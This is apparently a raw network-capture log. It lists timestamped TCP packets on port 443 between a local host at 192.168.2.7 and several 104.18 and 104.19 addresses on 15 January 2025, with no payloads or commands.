Jan 15, 2025 15:12:13.607729912 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.607781887 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.607820034 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.607826948 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.630131960 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630202055 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630243063 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630243063 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630275965 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630289078 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630296946 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630362988 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630409002 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630409002 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630420923 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630455971 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630506992 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630544901 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630553007 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630558014 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630599022 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630654097 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630711079 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630825043 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630861998 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630882025 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630886078 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630896091 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630928040 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.630933046 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.630980015 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.631020069 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.631939888 CET	50657	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.631956100 CET	443	50657	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.633609056 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.633661032 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.633683920 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.633698940 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.633714914 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.633725882 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.633745909 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.633760929 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.633774042 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.633949995 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.633994102 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.633997917 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634006023 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634038925 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634047985 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634088039 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634098053 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634156942 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634179115 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634227037 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634238005 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634285927 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634398937 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634438038 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634449959 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634458065 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634489059 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634500980 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634612083 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.634668112 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.634705067 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.634706020 CET	50661	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.634716034 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.634754896 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634756088 CET	50661	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.634763002 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.634797096 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634812117 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634819984 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634835005 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634848118 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634871006 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634879112 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634890079 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634944916 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.634993076 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.634999990 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.635018110 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.635039091 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.635046959 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.635060072 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.635062933 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.635112047 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.635121107 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.635164976 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.635191917 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.635210037 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.635237932 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.635241032 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.635267019 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.635271072 CET	50661	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.635277033 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.635308027 CET	50661	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.635322094 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.635364056 CET	50661	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.635370970 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.635411978 CET	50661	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.636389971 CET	50661	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.636409044 CET	443	50661	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.638355970 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638421059 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.638585091 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638637066 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.638639927 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638657093 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638688087 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.638694048 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638701916 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.638709068 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638735056 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.638900042 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638945103 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638947010 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.638955116 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.638998985 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.639008045 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.639014959 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.639041901 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.639044046 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.639055014 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.639060974 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.639081955 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.649569035 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.649620056 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.649708033 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.649929047 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:13.649951935 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:13.661776066 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.661808014 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.692137957 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.699635029 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.699668884 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.699732065 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.699759007 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.699805975 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.699814081 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700135946 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700184107 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.700187922 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700197935 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700241089 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.700248003 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700905085 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700936079 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700957060 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.700964928 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.700995922 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.701013088 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.701020002 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.701067924 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.701073885 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.701893091 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.701930046 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.701950073 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.701960087 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.701989889 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.702001095 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.702008963 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.702049017 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.702054977 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.702831984 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.702877998 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.702888012 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.704379082 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.704416990 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.704433918 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.704447985 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.704488039 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.704503059 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.704543114 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.704823017 CET	50660	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:13.704840899 CET	443	50660	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:13.733151913 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733234882 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733248949 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733258963 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733279943 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733288050 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733302116 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733309984 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733321905 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733347893 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733360052 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733400106 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733406067 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733530045 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733556032 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733573914 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733578920 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733599901 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733619928 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.733944893 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.733961105 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734004021 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734014034 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734071970 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734498024 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734513998 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734585047 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734592915 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734656096 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734675884 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734694958 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734724998 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734730959 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734774113 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734782934 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734786034 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734848976 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734875917 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734894037 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.734901905 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.734929085 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.735025883 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.735040903 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.735071898 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.735080004 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.735110044 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.788405895 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.823617935 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.823654890 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.823693037 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.823692083 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.823724031 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.823749065 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.823822021 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.823928118 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.824414015 CET	50655	443	192.168.2.7	104.19.230.21
Jan 15, 2025 15:12:13.824429989 CET	443	50655	104.19.230.21	192.168.2.7
Jan 15, 2025 15:12:13.953530073 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.953573942 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:13.953713894 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.954063892 CET	50664	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:13.954076052 CET	443	50664	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:14.042006969 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.042247057 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.042284012 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.042577982 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.043061018 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.043129921 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.043529987 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.084559917 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.084584951 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.134906054 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.135183096 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.135211945 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.136415958 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.136826992 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.136967897 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.136974096 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.136998892 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.179090977 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.185355902 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185390949 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185431957 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185446024 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.185472012 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185502052 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185520887 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.185527086 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185574055 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185592890 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.185599089 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185645103 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185661077 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.185666084 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.185738087 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.186263084 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.226927996 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.226953030 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273027897 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.273246050 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273405075 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273431063 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273463964 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.273478031 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273535967 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.273825884 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273906946 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273952961 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.273955107 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.273963928 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.274007082 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.274013996 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.274997950 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275027990 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275053024 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.275054932 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275068998 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275093079 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.275634050 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275664091 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275691986 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275691986 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.275701046 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275741100 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.275751114 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.275793076 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.276226044 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.276276112 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.276302099 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.276351929 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.276359081 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.276423931 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.277067900 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.295881987 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.295979977 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.296057940 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.296761990 CET	50663	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.296777964 CET	443	50663	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.307235003 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.307261944 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.307327986 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.307540894 CET	50665	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:14.307560921 CET	443	50665	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:14.318939924 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.318973064 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362215042 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362268925 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362298012 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362330914 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362385035 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.362385035 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.362421989 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362473965 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.362627983 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362663984 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362706900 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.362713099 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362725019 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.362772942 CET	50662	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:14.362778902 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363256931 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363265991 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363296032 CET	443	50662	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:14.363302946 CET	443	50662	104.18.95.41	192.168.2.7
